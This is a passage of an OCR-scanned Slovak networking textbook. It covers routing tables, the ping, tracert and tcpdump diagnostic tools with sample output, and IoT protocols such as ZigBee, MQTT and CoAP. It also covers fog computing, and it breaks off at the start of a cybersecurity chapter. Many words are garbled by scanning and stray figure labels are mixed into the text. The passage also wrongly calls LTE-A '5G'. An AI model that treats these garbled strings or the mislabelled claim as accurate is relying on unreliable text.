balika. Kedykolvek uzol potrebuje odoslat data do iného uzla v sieti, musi najprv vediet, kam ju

poslat. Ak sa zdrojovy uzol nemdze priamo pripojit k cielovému uzlu, musi ho poslat cez iné uzly
pozdi? prisludnej trasy do cielového uzla.

172.17.0.0

',, 172.19.0.0
l":f T
262 XM 2621 XM
Ro erO Rou Rouger2
172.16.0.0 172.18.0.0
172.20.0.0

Switch1

RSN B
PC-PT Server-PT
Server-PT PC1 Serveri PC-PT
Server0

PC2
Obrazok 5.10 - Siete prepojené s pomocou smerovacov

Zdroj [20]

Vadsina uzlov (PC, switch) sa nesnazi zistit, ktora cesta by mohla fungovat pre Uspesné dorucenie
balika. Namiesto toho uzol posle IP paket do zariadenia, ktorého IP adresu ma registrovanu ako
branu pre danu LAN siet. Brana potom rozhodne, ako smerovat balik do spravneho ciela
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Smerovacia tabulka

Kazda brana musi sledovat, akym spésobom sa menia cesty do réznych sieti. To vSetko preto, aby
bola schopna preposielat baliky s réznou cielovou adresou. Evidenciu a spravu tychto informacii
o cestach zabezpecuje smerovacia tabulka. Je to databaza, ktora sleduje trasy a vytvara takpovediac
mapu siete.

Smerovace tieto informacie medzi sebou zdielaju, ¢im sa vSetky zariadenia mo6zu dozvediet o novej
sieti a trase k nej. Toto zdielanie informdcii plati za predpokladu, Ze je v sieti pouzivany smerovaci
protokol, ktorému zariadenia rozumeju.

Router2#show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
0 - ODR, P - periodic downloaded static route
Gateway of last resort is 192.168.5.10 to network 0.0.0.0
(o 192.168.5.0/24 is directly connected, FastEtherneto/1
(o 192.168.1.0/24 is directly connected, FastEtherneto/0
192.168.100.0/24 is variably subnetted, 2 subnets, 2 masks
S 192.168.100.0/24 [1/0] via 192.168.5.2
S 192.168.100.75/32 [1/0] via 192.168.5.5

S* 0.0.0.0/0 [1/0] via 192.168.5.10

Smerovacia tabulka pozostava z najmenej troch informacnych poli:

identifikator siete - IP adresa cielovej podsiete.

metrika - urcuje kvalitu cesty. V niektorych pripadoch méze byt do cielovej siete v databaze
niekolko ciest. Zariadenie sa pri viacerych cestach rozhodne na zaklade metriky.

dalsi skok (next hop) - IP adresa nasledujlceho zariadenia pripojeného k danému sietovému
rozhraniu. Ak sa zariadenie pri smerovani paketov rozhodne pre danu cestu, posiela data na
priradenu IP adresu dalSieho skoku.

V zévislosti od aplikdcie aimplementacie smerovacieho protokolu, mdZe databaza obsahovat aj
dalsie hodnoty, ktoré spresnia vyber cesty. Jednoduchl smerovaciu tabulku si vieme pozriet aj na
operacnych systémoch Windows a Linux zadanim prikazu route print.
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IPv4 Route Table

Active Routes:

Net. Destination Netmask Gateway Interface Metric

0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.105 50
127.0.0.0 255.0.0.0 On-link 127.0.0.1 331
127.0.0.1 255.255.255.255 On-link 127.0.0.1 331
192.168.1.255 255.255.255.255 On-link 192.168.1.105 306
192.168.56.0 255.255.255.0 On-link 192.168.56.1 281
224.0.0.0 240.0.0.0 On-link 192.168.1.105 306
255.255.255.255 255.255.255.255 On-link 127.0.0.1 331
255.255.255.255 255.255.255.255 On-link 192.168.56.1 281
255.255.255.255 255.255.255.255 On-link 192.168.1.105 306

V sucasnosti existuje niekolko réznych smerovacich protokolov. Kazdy z nich ma svoje technické
$pecifikacie, ktoré je potrebné zvazit pri vybere vhodného protokolu pre siet.

Konkrétne principy a fungovania smerovacich protokolov si mimo rozsah tejto knihy. Komplexné
vysvetlenie problematiky smerovania je mozné ziskat v Specializovanych kurzoch orientovanych na
sietové technoldgie.

5.4 Diagnostika sieti

Sietovda komunikacia je velmi komplexny proces. V pripade problémov moéze byt diagnostika
pomerne narocna.

V mnohych oblastiach plati, Ze problém je mozné riesit r6znymi spdsobmi. Aj v pripade diagnostiky
sieti existuje niekolko postupov, ktoré sa daju pouzit. Zakladom je pouzit dobre Struktdrovany
postup, ktory rieSenie problému vyrazne urychli v porovnani s ndhodnym testovanim.

Velkou vyhodou je, Ze osvojenim pristupov a metdd diagnostiky je mozné riesit problémy aj v inych
inZinierskych oblastiach. V praxi bolo overenych niekolko diagnostickych pristupov a postupov, ktoré
pomahaju identifikovat a vyriesit problémy v najkratSsom moznom case. Cely proces odstrariovania
problémov zjednodusuju diagnostické nastroje.
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5.4.1 Diagnostické ndstroje

Operacné systémy ponukaju vo svojom zakladnom baliku niekolko diagnostickych nastrojov. Tieto
nastroje su v praxi pouzivané velmi ¢asto aj napriek tomu, Ze poskytuju len zakladnu diagnostiku. Ich
osvojenie dava velmi silné moznosti, ako efektivne pracovat pri diagnostike problémov v sieti.

Ping

Ping je nastroj pre diagnostiku pocitacovej siete, ktory sa pouZiva na otestovanie dostupnosti
hostitela v IP sieti. Meria Cas spravy, za ktory bola odoslana od hostitela k cielovému pocitacu. Ten na
zaklade protokolom definovanej Ziadosti odpovie Standardnou spravou. Princip funkcionality nastroja
ping pochadza z aktivnej sonarovej technoldgie, ktord vysiela impulz zvuku a pociva ozvenu. Na
zéklade rozdielu c¢asov medzi odoslanim signdlu a prijatim odrazu sa odhaduje vzdialenost
detegovaného objektu.

Nastoj je dostupny cez prikazovy riadok (termindl) operacného systému. Ako parameter prikazu sa
najcastejsie zadava IP adresa cielového zariadenia, ktorého dostupnost chceme otestovat. Vystup
programu je kratka sumarizacia testu, ktora obsahuje chyby, straty paketov a Statisticky suhrn
vysledkov, zvycajne vratane minimalneho, maximalneho a priemerného ¢asu. Vystup ma nasledujuci
format:

>ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=49ms TTL=51
Reply from 8.8.8.8: bytes=32 time=49ms TTL=51
Reply from 8.8.8.8: bytes=32 time=49ms TTL=51

Reply from 8.8.8.8: bytes=32 time=49ms TTL=51

Ping statistics for 8.8.8.8:

Packets: Sent = 4, Received = 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 49ms, Maximum = 49ms, Average = 49ms

Tracert/Traceroute

Traceroute je unixovy diagnosticky nastroj pre analyzu pocitacovej siete na zobrazenie trasy
a meranie oneskoreni paketov v sieti. Existuje niekolko rozlicnych implementacii nastroja traceroute.
Napriklad na operacnych systémoch Windows je tento nastroj ukryty pod nazvom tracert. Nastroje
su dostupné z prikazového riadku (terminal) operacnych systémov.

Podobne ako pri ndstroji ping aj traceroute, ako parameter prikazu, najéastejsSie pouziva IPv4 adresu
cielového zariadenia, ktorého dostupnost chceme otestovat.
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Ukazka vypisu Windows verzie nastroja traceroute.
>tracert mytestserver.com
Tracing route to mytestserver.com [128.35.216.84]

over a maximum of 30 hops:

1 111 ms 70 ms 71 ms 11.200.200.200

2 67 ms 67 ms 66 ms 14.29.0.2

3 67 ms 69 ms 67 ms 14.35.157.97

4 69 ms 69 ms 70 ms 14.132.154.210

5 70 ms 70 ms 70 ms 14.132.140.154

6 193 ms 193 ms 194 ms 14.132.140.153

7 89 ms 88 ms 88 ms 15.131.74.242

8 * * * Request timed out.
9 88 ms 88 ms 88 ms 128.35.216.84

Trace complete.

TcpDump

Mnoho Linuxovych systémov a sietovych zariadeni (router, firewall) pontka pre diagnostiku sietovej
komunikacie nastroje na jej zachytavanie (tcpdump, ffilter, fwfilter a podobne). Pomocou tychto
nastrojov je mozné ziskat detailné informacie o aktualne prebiehajlcej sietovej komunikacii.

Zachytavanie sa vykonava nad sietovym rozhranim, kde je priradeny filter. Filtre su velmi doleZité,
pretoZe po sieti je posielané ohromné mnoiZstvo dat. V pripade diagnostiky konkrétneho problému
ide doslova o hladanie ihly v kope sena. Napriklad, ak nie je funkcné pripojenie zIP adresy
10.58.39.14 na server s IP adresou 143.1.42.52 cez port 443. Udaje o tejto konkrétnej komunikécii sa
velmi lahko stratia v hromade dat, ktoré aktudlne pretekaju cez sledované sietové rozhranie.

Zachytena informdacia ma format:
$ tcpdump -n "dst host 192.168.1.1 and (dst port 80 or dst port 443)"
listening on eth@®, link-type EN1OMB (Ethernet), capture size 96 bytes

14:38:38.184913 IP valh4.lell.net.ssh > yy.domain.icp.net.443: P 142:158(116)
ack 1561463966 win 63652

14:38:38.690919 IP valh4.lell.net.ssh > yy.domain.icp.net.443: P 116:232(116)
ack 1 win 63652

2 packets captured

13 packets received by filter

153



@ packets dropped by kernel

Zachytenl komunikaciu je mozné exportovat do suboru, ktory je pouzitelny pre dalSie analyzy.
Podobnym programom ako tcpdump je Wireshark. Tato aplikdcia ma grafické rozhranie, ¢o mdze
zjednodusit naslednd analyzu dat. Zvlddnutie prace stymto nastrojom otvara nové moznosti pri
diagnostike pokrodilych az naro¢nych sietovych problémov.

5.4.2 Diagnostické pristupy

V sucasnosti patria medzi najviac oblubené diagnostické pristupy nasledovné:

Zhora-nadol (top-down) — diagnosticky model, ktory pouZiva OSI referenény model. Testuju sa
protokoly beZiace na jednotlivych vrstvach modelu, pricom sa zacina na najvyssej vrstve a postupuje
sa smerom nadol.

Zdola-nahor (bottom-up) — podobny diagnosticky model ako zhora-nadol, stym rozdielom, Ze
testovanie sa zacina na najnizsej vrstve OSI modelu a postupuje sa smerom nahor.

Rozdel apanuj — pristup, ktory kombinuje predchadzajuce diagnostické metddy (top-down
a bottom-up). Testovanie sa zacina v strednych vrstvach modelu. Podla vysledku sa dalej postupuje
smerom nahor alebo nadol.

Ssleduj cestu — metdda, ktora dopliia vyssie spomenuté diagnostické pristupy. Poméha identifikovat
skuto¢nu cestu komunikacie od zdroja po ciel, ¢im sa identifikuje miesto, kde vznikol problém.

N3jdi rozdiel — pri vyuZiti tejto metddy sa porovnavaju dve systémové konfiguracie. Potencidlne
rozdiely mézu predstavovat pricinu problémov. Vidy je potrebné porovnavat dva ekvivalentné
systémy, pricom jeden funguje a druhy nie.

Presunutie problému — diagnosticky pristup, ktory vymiefia komponenty systému a testuje, ¢i bol
problém odstraneny. Tato metdda je pomerne tazko aplikovatelna vo velkych firemnych sietach.

5.5 IloT protokoly

V sucasnosti existuje niekolko protokolov vhodnych pre nasadenie v prostredi loT. K dispozicii je
niekolko komunikaénych protokolov pre jednotlivé vrstvy sietového modelu OSI:

Relacna vrstva (Session) MQTT, SMQTT, AMQP, CoAP, XMPP, DDS

Sietova vrstva (Network) RPL, CORPL, CARP, 6LoWPAN, 6TiSCH, 6Lo, IPv6 over
G.9959, IPv6 over Bluetooth Low Energy

Spojova vrstva (Data link) IEEE 802.15.4e, IEEE 802.11 ah, WirelessHART, Z-Wave,

Bluetooth Low Energy, Zigbee Smart Energy, DASH7,
HomePlug, G.9959, LTE-A, LoRaWAN, Weightless,
DECT/ULE

Tabulka 5.2 - Prehlad loT protokolov

Vyvoj novych komunikaénych protokolov pre oblast IoT aich Standardizacie je velmi Zivad oblast,
ktorej sa venuje velkd pozornost. Na definicii, vyvoji atestovani sa podielaji mnoho univerzity,
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......

z oblasti IT a priemyslu.

5.5.1 Spojova vrstva

Na vyvoji kazdého protokolu pracovali nezavislé skupiny odbornikov, aby vyvinuli Specifikacie
pokryvajluce vrstvy siete, bezpecnosti a aplikacné poziadavky praxe. V kratkosti sa pozrieme na
niekolko najrozsirenejsich protokolov.

ZigBee

ZigBee je technoldgia bezdrétovej komunikacie. Vyznacuje sa:

kratkym dosahom,

nizkou naroénostou,

nizkou spotrebou,

nizkou rychlostou,

nizkymi nakladmi na prevadzku,

podporou duplexnej (obojsmernej) komunikacie.

Vyuziva sa na bezdrbtovi datovd komunikaciu s nizkymi rychlostami prenosu dat medzi réznymi
elektronickymi zariadeniami v kratkej vzdialenosti s nizkou spotrebou energie. Maximalna prenosova
rychlost je 250 kbps aje nizSia ako Bluetooth a Bluetooth LE. Tato technoldgia je vhodna pre
aplikaciu, pre ktoru je datovy prenos maly a je potrebnych vela zariadeni.

Mesh

Star

@ zigBee Coordinator
. ZigBee Routers
(O ZigBee Devices

Cluster Tree

Obrazok 5.11 - Topoldgia ZigBee

Zdroj [21]

Pomocou ZigBee protokolu je mozné vytvorit siet snimacov a pokusit sa aplikovat ich na rézne
monitorovacie a riadiace aplikacie, ako napriklad ovladanie klimatizacie, riadenie osvetlenia, riadenie
fyzickej distribucie, riadenie domu.

ZigBee sa vsucasnosti pouZiva najmd na prenos informdacii medzi réznymi elektronickymi
zariadeniami, ktoré su v kratkej vzdialenosti a rychlost prenosu Udajov nie je velmi vysoka. Zameriava
sa hlavne na trhy s periférnymi zariadeniami pre pocitace (mys, klavesnicu, ovladaci prvok)
a spotrebnej elektroniky (TV, VCR, CD, VCD, dialkové ovladanie DVD a dalSich zariadeni), hracky
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(elektronické zvieratd), zdravotna starostlivost (monitory a snimace) a priemyselné ovladacie prvky
(monitory, senzory a automatizacné zariadenia).

Bluetooth LE

Bluetooth LE je charakteristickou crtou Specifikacie Bluetooth 4.0. Je navrhnuty pre aplikacie
s extrémne nizkym vykonom, ale zachovava podobnost s klasickym rozhranim Bluetooth.

Vo fyzickej vrstve pouziva technoldgia Bluetooth LE aj nadalej adaptacné spektrum Sirenia frekvencii
(FHSS). Pocet kanalov sa zmensil zo 79 (v klasickom Bluetooth) na 40. Zakladna rychlost Bluetooth LE
je 1 Mb / s. Bluetooth LE ma z pohladu pokrytia dosah aZ niekolko desiatok metrov.

Proces komunikacie prebieha nasledujicim spésobom:

1. Zariadenia oznamuju svoju pritomnost a schopnost pripojenia.
Zariadenie, ktoré bude v hlavnej ulohe (oznacované aj ako master), pocuva tieto oznamenia
a iniciuje spojenie vyslanim spravy s ndzvom “Ziadost o pripojenie”. Tato sprava je odosland
ku kazdému zariadeniu, ku ktorému sa master pokusa pripojit.

3. Master mbze spravovat viac simultannych spojeni s viacerymi klientskymi zariadeniami
(oznacované ako slave).

4. Slave zariadenie mdze byt pripojené iba k jednému master zariadeniu.

Preto Bluetooth LE vytvara topoldgiu hviezdy. Doba vytvorenia spojenia medzi hlavnym
a podriadenym zariadenim trvd menej ako 3 ms. Akonahle su pripojené dve zariadenia, Master
pouzZiva schému casového rozdelenia viacnasobného pristupu (TDMA) na planovanie zaciatku
udalosti spojenia. Sprava “PoZiadavka pripojenia” sluzi ako referencia pre synchronizaciu medzi
Master a Slave.

Obrazok 5.12 - Topolégia Bluetooth

Zdroj [22]

Near Field Communication (NFC)

Technolégia NFC bola pbévodne vyvinuta asStandardizovana do konca dvadsiateho storolia pre
dopravny trh. Hlavnou myslienkou bolo nasadenie elektronického predaja cestovnych listkov na baze
zabezpecenych mikrokontrolérov, ktoré su podobné tym, ktoré sa pouZivaju na SIM karte.
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Technoldgia NFC v sic¢asnosti umozniuje fludom integrovat svoje vernostné karty, kreditné karty do
svojich mobilnych telefénov. Okrem integracie tychto kariet do mobilnych zariadeni prinasa
technoldgia NFC aj inovativne prileZitosti pre mobilné komunikacie. Umoznuje dvom pouzivatelom
lahko komunikovat a vymieniat si data jednoducho dotykom dvoch mobilnych telefénov.

Technoldgia navySe poskytuje schopnosti ¢itacky NFC pre mobilné telefény, takie je moiné Citat
znacky RFID (Radio Frequency Identification).

Existuju tri hlavné prevadzkové rezimy pre NFC:

rezim emuldcie karty (pasivny reZzim) - zariadenie NFC sa sprdva ako existujuca bezkontaktna
karta, ktora zodpoveda niektorému starSiemu Standardu,

reZim peer-to-peer - dve zariadenia NFC si vymienaju informdcie. Zariadenie, ktoré je
iniciator (zariadenie na prieskum), vyzaduje menej energie v porovnani s rezimom snimaca /
zapisovaca, pretoze ciel (posluchac) pouziva vlastné napajanie,

rezim Citacky / zapisovaca (aktivny rezim) - zariadenie NFC je aktivne a Cita alebo zapisuje na
pasivnu starsiu znacku RFID.

Active Passive Peer
i i i Zariadenie 1

Passive Active Peer
Zariadenie 2

Obrazok 5.13 - NFC rezim

Zdroj [11]
WiFi

Norma IEEE 802.11 rozsiruje sietové Standardy rady 802 na bezdrétové médium tak, Ze Specifikuje
komunikaciu bezdrotovej lokalnej siete (WLAN) v pasmach ISM (frekvencie pouZivané pre
priemyselne, vedecké a medicinske Gcely). Prva verzia bola zverejnend v roku 1997.

V nastaveniach infrastruktiry sa bezdr6tové stanice (STA) pripdjaju alebo spajaju s pristupovym
bodom (AP). Toto zoskupenie zariadeni (STA (s) + AP) sa nazyva zakladna sluzba (BSS), kde sa kazdy
STA mdze pripojit k externe;j sieti (Internetu) prostrednictvom pridruzeného AP.

BSS pouZiva identifikacné Cislo sluzby (SSID) na identifikaciu, pricom beZni ludia poznaju toto SSID
skér pod nazvom siete. Viaceré AP je mozné pripojit cez kablovy distribu¢ny systém (DS), kde su
rézne BSS oznacované ako rozsirena sluzba (ESS). V scendri, v ktorom BSS pouZivaju rézne SSID, moze
STA zmenit priradenie do siete s oznacenim SSID, ale musi zmenit svoju asociaciu sinym AP, ¢o
sposobi docasnu stratu spojenia.
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Zakladny identifikator siete (BSSID) je fyzicka adresa (MAC) AP, ¢o umoziiuje STA identifikovat
jedinecny BSS AP v ESS. Tento prieskum sa uskutocnuje na infrastruktire n-WLAN v ramci jedného
BSS, Co je znazornené na obrazku 5.15.
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Obrazok 5.14 - WiFi siet

Zdroj [20]

Aby sa klientsky pocita¢ asocioval s access-pointom (AP), musi prejst trojfazovym nastavovacim
procesom, ako je zndzornené na obrazku 5.15. Proces asocidcie sa sklada z troch faz:

skenovanie,
overovanie,
asociacia.

Po zapnuti sietovej karty pre WiFi siet, mbze systém objavit blizke AP pomocou pasivneho alebo
aktivneho skenovania.

Pasivne skenovanie
Zahfna pocuvanie na kazdom kanali vysielania majakov vysielanych z AP.
Aktivne skenovanie

Proces, kedy stanica aktivne vysiela ramec skenovania. Stanica s pomocou vSe-smerového vysielania
na zvolenom frekvenc¢nom kanale, informuje o svojej pritomnosti a posle poZiadavku na pripojenie
do siete. Nasledné ocakava odpoved z AP na danom kanli.
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Proces nadvazovania spojenia s pristupovym bodom WiFi siete obsahuje Styry hlavné kroky. Priebeh
komunikacie je schématicky naznaceny na obrazku 5.16.

Prehladavanie (probe request)

Odpoved na prehladavanie (probe response)

(ta))
- ( J
Ziadost o autentifikaciu (authentication request) N

Autentifikacna odpoved' (authentication response)

STA |« AP

Ziadosf o asociaciu (association request)

Asociacna odpoved (association response)

Potvrdenie (acknowledgement)

Obrazok 5.15 - Proces pripojenia do WiFi siete

Zdroj [11]

Po najdeni vSetkych AP v sieti a vybere jedného z nich sa spusta autentifikaény proces pripojenia.
Tento proces prebieha nasledujicim spésobom:

Krok 1: Stanica prvykrat odosle autentifikacny ramec, na ktory vybrany AP reaguje s dalSimi
autentifikaénymi ramcami.

Krok 2: Proces autentifikdcie obmedzuje stanice, ktoré mézu pristupovat do siete, ktora je chranena
konkrétnym AP. Jedna sa o mechanizmus kontroly pristupu k sieti.

Krok 3: Po Uspesnej autentifikdcii sa STA presunie do asocidcie s AP odoslanim ramca Ziadosti
o pridruzenie/znovuzavedenie, na ktory AP odpoveda s ramcom odozvy asociacie/re-asociacie.

Krok 4: Nakoniec odosiela STA do AP APC ramcek potvrdenia (ACK). Akondhle AP obdrzi tento ramec,
ACK, STA je priradeny k AP a platné spojenie sa vytvori medzi STA a AP.

LTE-A

Long-Term Evolution Advanced, skratene oznacované aj ako LTE-A. Tato technoldgia je znama aj ako
5G siet, ¢o je subor standardov navrhnutych tak, aby vyhovovali poZiadavkampre komunikaciu medzi
strojmi (machine-to-machine, oznaCované aj ako M2M). LTE-A je naslednikom siete LTE. Tento typ
architektury sa ¢asto pouziva pri loT zariadeniach pripojenych v mobilnych sietach.
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Obrazok 5.16 - LTE-A architektura

Zdroj [23]

Architektura LTE-A pozostava z hlavnej pristupovej brany, a takzvanej zakladovej stanice (Donor eNB,

DeNB). JeJ Glohou je poskytovanie sluzieb RN uzlom, zaistovanie preposielania paketov dalej do siete,
poskytovanie mobilnych sluzieb.

Prostrednictvom uzlov oznacovanych ako RN, méze byt rozsireny dosah hlavnej siete. RN uzol
zodpovedna za vytvorenie riadiacich a datovych planov, ovlada bezdrétové pripojenia a kontroly

radiového pristupu pre koncové zariadenia. Z pohladu pouZivatela sa RN snaZi vyzerat ako
Standardny eNB uzol.

Medzi hlavné vyhody tejto technoldgie patria:

vyssia prenosova rychlost,

nizsia latencia (oneskorenie) prenasanych dat,

vacsia Sirka vysielacieho pasma,

relativne dobré prenosové rychlosti pri slabom signale.

LoRaWAN

LoRaWAN (Low Power WAN Protocol for Internet of Things) je nova technoldgia bezdrotovej
komunikacie navrhnuta pre nizkonapatové siete WAN s nizkymi nakladmi, mobilitou, bezpecénostou
a obojsmernou komunikaciou pre aplikacie loT.

Ide o optimalizovany protokol nizkej spotreby urceny pre bezdrotové siete svelkym poctom
zariadeni.
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Koncove zariadenie Koncove zariadenie Koncove zariadenie

/7

LoRa Brana

IP siet

= == = | oRa siet
LoRa server

Obrazok 5.17 - LoRa siet

Zdroj [24]

LoRaWAN pre komunikaciu vyuZiva radiové frekvencné pasma bez licencie ako 169 MHz, 433 MHz,
868 MHz (Eurdpa) a 915 MHz (Severnd Amerika). Medzi hlavné vyhody patri znizenie spotreby
energie pri zachovani vysielacieho dosahu. Pre nazornost si pozrime obrazok 5.19, kde je porovnanie
energetickej spotreby a vysielacieho dosahu pre r6zne komunikacné technolégie.

Nizka

Bluetooth Mobilna sief LoRaWAN WiFi
«Spotreba energie= Dosah

Obrazok 5.18 - Porovnanie technoldgii z pohladu spotreby energie a vysielacieho dosahu

Zdroj [25]
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5.5.2 Sietovd vrstva

Pre komunikaciu v 1oT boli vyvinuté nové protokoly pre smerovanie komunikacie v sietach. Dovodom
vytvorenia novych komunikaénych protokolov, bola potreba naplnit S$pecifické potreby, ktoré
vznikaju pri komunikacii medzi loT zariadeniami.

RPL

Protokol chce byt odpovedou na problémy zariadeni napdjanych z batérie, ktoré s pripojené do
siete so slabym alebo vypadavajlicim signalom, ¢o sa prejavuje vysokou mierou straty dat.

RPL mdze zahfnat rézne druhy dopravnych a signalizacnych informacii, ktoré sa vymienaju medzi
uzlami. Typ informacii zavisi od pozZiadaviek kladenych na datové toky. Protokol podporuje
prepojenia:

MP2P (Multipoint to point),
P2MP (Point to MultiPoint),
P2P (Point-to-Point).

MP2P P2MP P2P
O Koren

O Smerovaé

O Hostitel
= Komunikacia

w Cesta

Obrazok 5.19 - RPL protokol

Zdroj [26]

CORPL

Rozsirenim protokolu RPL je kognitivna RPL, oznacovany aj ako CORPL. Tento protokol ma dve nové
modifikacie:

VyuZiva oportunistické presmerovanie paketov pre vyber z pomedzi viacerych ciest k cielu.
Koordinuje medzi uzlami, aby si vybral najlepsi dalsi skok.

Na zaklade aktualizovanych informacii kazdy uzol dynamicky aktualizuje svoje susedské priority
a vytvara vlastné rozhodovanie o ceste k cielu.
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5.5.3 Relacna vrstva

MQTT

Message Queue Telemetry Transport, je komunikaény protokol navrhnuty pre zabezpecovanie
asynchrénnej komunikacie medzi aplikaciami a middleware systémom, ktory beZi na vzdialenom
serveri. Vyhodou asynchrénnej komunikacie je moznost ziskat informacie o aktualnych udalostiach
s istym Casovym oneskorenim.

Prikladom synchrénnej komunikacie je telefonat. Pokial volany nie je dostupny, volajuci mu neméze
oznamit vznik novej udalosti. Pri asynchrénnej komunikacii, je tento problém vyrieSeny pomocou
zapisu do zoznamu (anglicky queue). Volajuci mbéze zanechat spravu o novej udalosti v hlasovej
schranke volaného. V momente, ked' je volany opat dostupny, precita si spravu z hlasovej schranky.
Tymto kvoli svoje nedostupnosti, neprisiel o informaciu o novej udalosti.

Architektura publikovania (anglicky publish) a predplacania (anglicky subscribe), ktora je znazornena
na obrazku 5.21 pozostava z troch hlavnych komponentov:

vydavatel (publisher),
odoberatel (subscriber),
maklér (broker).

Z pohladu loT, vydavatel (publisher) je v podstatesenzor, alebo individualne loT zariadenie, ktoré sa
pripajaj k maklérovi (broker), aby posielal svoje udaje. Odberatelmi (subscribers) su aplikacie, ktoré
maju zaujem o urcitd tému (TEPLOTA) alebo udaje, takie sa pripajaju k maklérom, aby boli
informovani vzdy, ked budu v systéme dostupné nové udaje.

Makléri klasifikuju prijaté udaje v témach a posielaju ich Ucastnikom, ktori maju zaujem o tieto témy.
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Obrazok 5.20 - Komunikacia s pomocou protokolu MQTT

Zdroj [27]

Pre zvysenie bezpecnosti bol vyvinuty protokol SMQTT, ¢o je Secure MQTT. Charakteristikou je
pouzivanie odlahéeného Sifrovania komunikacie. Proces Sifrovania pozostdva zo Styroch faz -
nastavenie, Sifrovanie, zverejiiovanie,desifrovanie.

Vo faze nastavenia sa Ucastnici a vydavatelia zaregistruju na makléra a ziskaju tajny klu¢. Potom, ked'
su Udaje zverejnené, su zasifrované. Maklér publikuje Sifrované udaje. Kazdy odberatel si musi data
desifrovat sdm. Generovanie klucov a Sifrovacie algoritmy nie st Standardizované.

CoAP

CoAP protokol (Constrained Application Protocol) je protokol uréeny pre zariadenia s obmedzenym
vypoctovym vykonom. CoAP je zaloZeny na protokole HTTP a modeli REST, kde su zdroje (cielové
informacie) nacitané zo servera vyuzitim URI / URL identifikatorov.

Klienti pouZivaju zndme metédy GET, PUT, POST a DELETE na manipuldciu s tymito zdrojmi.

164



Server CoAP

CoAP %

°© £

Obrazok 5.21 - Komunikacia s pouzitim CoAP protokolu

Zdroj [28]

CoAP je navrhnuty tak, aby poskytoval podporu unicastu a multicastu, jednoduchu implementaciu,
nizku energeticki naro¢nost arychlost. Je navrhnuty tak, aby pracoval na mikrokontroléroch
s pamatou RAM s kapacitou az 10 kB a Uloznym priestorom s kapacitou 100 kB a suéasne poskytoval
silni bezpecnost. Komunikacia prebieha prostrednictvom UDP protokolu, ¢o zvySuje komunikaénu
rychlost a zniZzuje mnozstvo prenasanych dat.

5.5.4 Fog computing model

Fog computing je model, ktory prestva logiku sietovej aplikacie blizSie ku koncovym zariadeniam na
okraji siete (tzv. Network edge). Umozniuje koncovym zariadeniam spustat lokalne aplikacie a robit
okamtzité rozhodnutia.

Tym sa zniZzuje mnozstvo prenadsanych dat v sietach, pretoze data sa nemusia vysielat cez sietové
pripojenia do internetu. ZvysSuje sa stabilita aplikacii, kedZe loT aplikdcie m6Zu pracovat aj pocas
vypadku internetového pripojenia.

Zaroven sa zvySuje bezpecnost tym, Ze zachovava citlivé Gdaje, ktoré sa nevzdaluju z lokdlnej siete.

Na druhu stranu fog computing ma ako technolégia problémy simplementaciou AAA procesov
(Authentication-Authorization-Accounting).
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Vyhody Nevyhody

Zmensenie mnozstva prenasanych dat. Fyzické umiestnené méze byt kedykolvek
zmenené, zrusené.

Uspora spotreby sietového pasma. Bezpecnostné rizika: spoofing IP adresy,
man-in-the-middle Utok.

Zlepsenie rychlosti odpovedi (takmer aZ na | Problémy s ochranou sukromia
uroven real-time). a privatnosti dat.

Vyssia mobilita. Horsia dostupnost a cena hardvéru.
Minimalizacia oneskorenia komunikacie. Problémy s autentifikaciou a autorizaciou.

Tabulka 5.3 - Fog computing — vyhody a nevyhody

Fog computing rozsiruje cloud do lokdlnej siete, kde umozriuje koncovym zariadeniam pouzivat
lokalne vypoctové prostriedky a uloZisko. Riadenie celej infrastruktary vyzaduje Specialny softvér.

Praktickym prikladom aplikdcie Fog computingu su semaféry vmeste. Udaje zozbierané
inteligentnym systémom sa spracovavaju lokalne. U¢elom je vykondvat analyzy vredlnom ¢ase
a semaférom sa posielaju vysledky, na zaklade ktorych upravia svoje ¢asovanie. Udaje z jednotlivych
klastrov sa posielaju do cloudu na analyzu dlhodobych modelov premavky.

Medzi dalsie aplikacie Fog sieti patria smart grid, smart city, smart budovy, smart car.
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OWASP projekt

Principy analyzy bezpecnosti

Typy kybernetickych utokov

Ochrany proti kybernetickym utokom
Uvod do $ifrovania




6.1 Kyberneticka bezpeénost

Kyberneticka bezpecnost je prakticky pristup k ochrane systémov, sieti a programov pred digitalnymi
utokmi. Tieto Utoky su zvycCajne zamerané na pristup, zmenu alebo znicenie citlivych informacii,
neopravnené ziskanie penazi od pouzivatelov alebo prerusenie beznych obchodnych procesov firmy.

Implementdcia Gc¢innych opatreni v oblasti kybernetickej bezpecnosti je dnes obzvlast narocéna,
pretozZe existuje velky podet zariadeni a systémov, ktoré sa mézu stat ter¢om Gtoku. Tych je omnoho
viac ako IT odbornikov, ktori tieto systémy chrania. Navyse sa uUtocnici stale zlepsuju a hladaju nové
cesty a spbsoby ako napadnut svoj ciel.

V dnesSnom prepojenom svete maju vsetci prospech z pokrocilych programov zameranych na
kybernetické Utoky. Na individudlnej Grovni mdze Utok na pocitacovu bezpecnost vyustit do situdcii,
ako su kradez identity, vydieranie alebo strata délezitych Udajov, ako su rodinné fotografie, Cisla
platobnych kariet a bankovych Gctov.

Kazdy sa spolieha na kritickd infrastrukturu, ako su elektrarne, nemocnice a spoloc¢nosti poskytujice
financné sluzby. Zabezpecenie tychto a dalSich organizacii je nevyhnutné pre udrZanie fungovania
nasej spoloc¢nosti.

6.2 NIST a ENISA

Kyberneticki bezpecnost priemyselnych kontrolnych systémov komplexné pokryva dokument NIST
800-82. NIST je Americky Narodny institut pre Standardy a technoldgie. Tato institlcia spada pod
ministerstvo obchodu USA. Cielom institucie je podpora inovacii a konkurencieschopnosti priemyslu
USA zlepSovanim vedeckych merani, standardov a technoldgie s ohfadom na ekonomickd bezpeénost
a zlepSovanie kvality Zivota.

Spominany dokument 800-82 poskytuje navod, ako zabezpedit priemyselné kontrolné systémy (angl.
Industry Control System, skratene ICS) vratane Systémov riadenia a zberu udajov (takzvané SCADA
systémy), distribuované riadiace systémy (DCS) a iné konfiguracie riadiaceho systému, ako su
